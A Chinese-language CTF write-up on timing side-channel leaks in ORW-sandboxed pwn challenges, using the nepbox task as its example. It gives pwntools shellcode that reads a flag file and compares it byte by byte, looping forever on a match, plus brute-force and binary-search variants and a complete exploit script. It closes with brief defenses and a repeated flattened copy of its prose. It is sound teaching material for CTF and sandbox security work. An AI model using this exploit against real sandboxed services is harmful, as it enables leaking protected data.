ORW:侧信道时间盲注
字数 794 2025-08-22 12:23:30

侧信道时间盲注技术详解

1. 技术原理

侧信道时间盲注是一种在沙箱禁用write等输出函数时,通过时间差来推断信息的攻击技术。其核心原理是:

  1. 通过shellcode将目标数据(如flag)读取到内存中
  2. 使用cmp指令逐位比较数据内容
  3. 根据比较结果控制程序流程:
    • 匹配时跳转到死循环(-$2表示跳转到前两条指令)
    • 不匹配时正常执行
  4. 通过测量响应时间差异判断是否进入死循环

2. 技术实现方法

2.1 字符集遍历法

适用于flag字符种类较少的情况,直接比较每个可能的字符。

for i in range(len(flag), 50):
    for j in charset:
        # 创建新进程/连接
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
        mov al, byte ptr[rsi+{i}]
        cmp al, {ord(j)}
        je $-2  # 匹配时跳转到死循环
        ret
        '''
        payload += asm(shellcode)
        # 发送payload并测量响应时间
        if response_time > threshold:
            flag += j
            break

2.2 二分查找法

适用于字符范围较大的情况,效率更高。

for i in range(len(flag), 50):
    left, right = 0, 127
    while left < right:
        mid = (left + right) >> 1
        shellcode = f'''
        mov al, byte ptr[rsi+{i}]
        cmp al, {mid}
        ja $-2  # 大于时跳转到死循环
        ret
        '''
        # 发送payload并测量响应时间
        if response_time > threshold:
            left = mid + 1
        else:
            right = mid
    flag += chr(left)

3. 实战案例:nepbox题目分析

3.1 题目限制

  1. 禁用execve等危险系统调用
  2. write参数被篡改,无法直接输出
  3. 在子进程中执行用户输入的shellcode

3.2 解题步骤

  1. 使用shellcraft.open和read将flag读入栈内存
  2. 构造比较shellcode进行逐位爆破
  3. 通过时间差判断字符是否正确
  4. 遇到"}"字符时终止爆破

3.3 注意事项

  1. 远程靶机响应会越来越慢,可能需要重启
  2. 时间阈值设置:死循环一次约增加2秒响应时间
  3. 可以增加clean次数来放大时间差
  4. 爆破结果可能需要多次验证

4. 优化技巧

  1. 字符集优化:根据题目提示缩小字符范围(如hex字符)
  2. 时间阈值调整:根据网络状况动态调整
  3. 错误处理:添加异常处理防止进程崩溃影响爆破
  4. 并行爆破:对多位同时爆破提高效率

5. 防御措施

  1. 限制shellcode执行时间
  2. 随机化内存布局
  3. 添加指令执行监控
  4. 对敏感数据访问进行权限控制

6. 完整EXP示例

from pwn import *
import time

context(arch='amd64', os='linux', log_level='debug')

charset = '0123456789abcdef'
flag = 'NepCTF{'

for i in range(len(flag), 50):
    for j in charset:
        try:
            r = remote('target', port, ssl=True)
            payload = asm(shellcraft.open("flag"))
            payload += asm(shellcraft.read(3, 'rsp', 0x80))
            shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            je $-2
            ret
            '''
            payload += asm(shellcode)
            
            r.sendlineafter('prompt', payload)
            start = time.time()
            r.clean(2)
            elapsed = time.time() - start
            
            if elapsed > 2:  # 阈值根据实际情况调整
                flag += j
                break
        finally:
            r.close()
    
    if flag.endswith('}'):
        break

print(flag)

7. 总结

侧信道时间盲注是一种在输出受限环境下有效的信息泄露技术,核心在于利用程序执行的时间差作为信息载体。在实际应用中需要根据目标环境调整策略,并注意处理网络延迟等干扰因素。防御方面则应从限制执行时间和监控异常行为入手。

侧信道时间盲注技术详解 1. 技术原理 侧信道时间盲注是一种在沙箱禁用write等输出函数时,通过时间差来推断信息的攻击技术。其核心原理是: 通过shellcode将目标数据(如flag)读取到内存中 使用cmp指令逐位比较数据内容 根据比较结果控制程序流程: 匹配时跳转到死循环(-$2表示跳转到前两条指令) 不匹配时正常执行 通过测量响应时间差异判断是否进入死循环 2. 技术实现方法 2.1 字符集遍历法 适用于flag字符种类较少的情况,直接比较每个可能的字符。 2.2 二分查找法 适用于字符范围较大的情况,效率更高。 3. 实战案例:nepbox题目分析 3.1 题目限制 禁用execve等危险系统调用 write参数被篡改,无法直接输出 在子进程中执行用户输入的shellcode 3.2 解题步骤 使用shellcraft.open和read将flag读入栈内存 构造比较shellcode进行逐位爆破 通过时间差判断字符是否正确 遇到"}"字符时终止爆破 3.3 注意事项 远程靶机响应会越来越慢,可能需要重启 时间阈值设置:死循环一次约增加2秒响应时间 可以增加clean次数来放大时间差 爆破结果可能需要多次验证 4. 优化技巧 字符集优化 :根据题目提示缩小字符范围(如hex字符) 时间阈值调整 :根据网络状况动态调整 错误处理 :添加异常处理防止进程崩溃影响爆破 并行爆破 :对多位同时爆破提高效率 5. 防御措施 限制shellcode执行时间 随机化内存布局 添加指令执行监控 对敏感数据访问进行权限控制 6. 完整EXP示例 7. 总结 侧信道时间盲注是一种在输出受限环境下有效的信息泄露技术,核心在于利用程序执行的时间差作为信息载体。在实际应用中需要根据目标环境调整策略,并注意处理网络延迟等干扰因素。防御方面则应从限制执行时间和监控异常行为入手。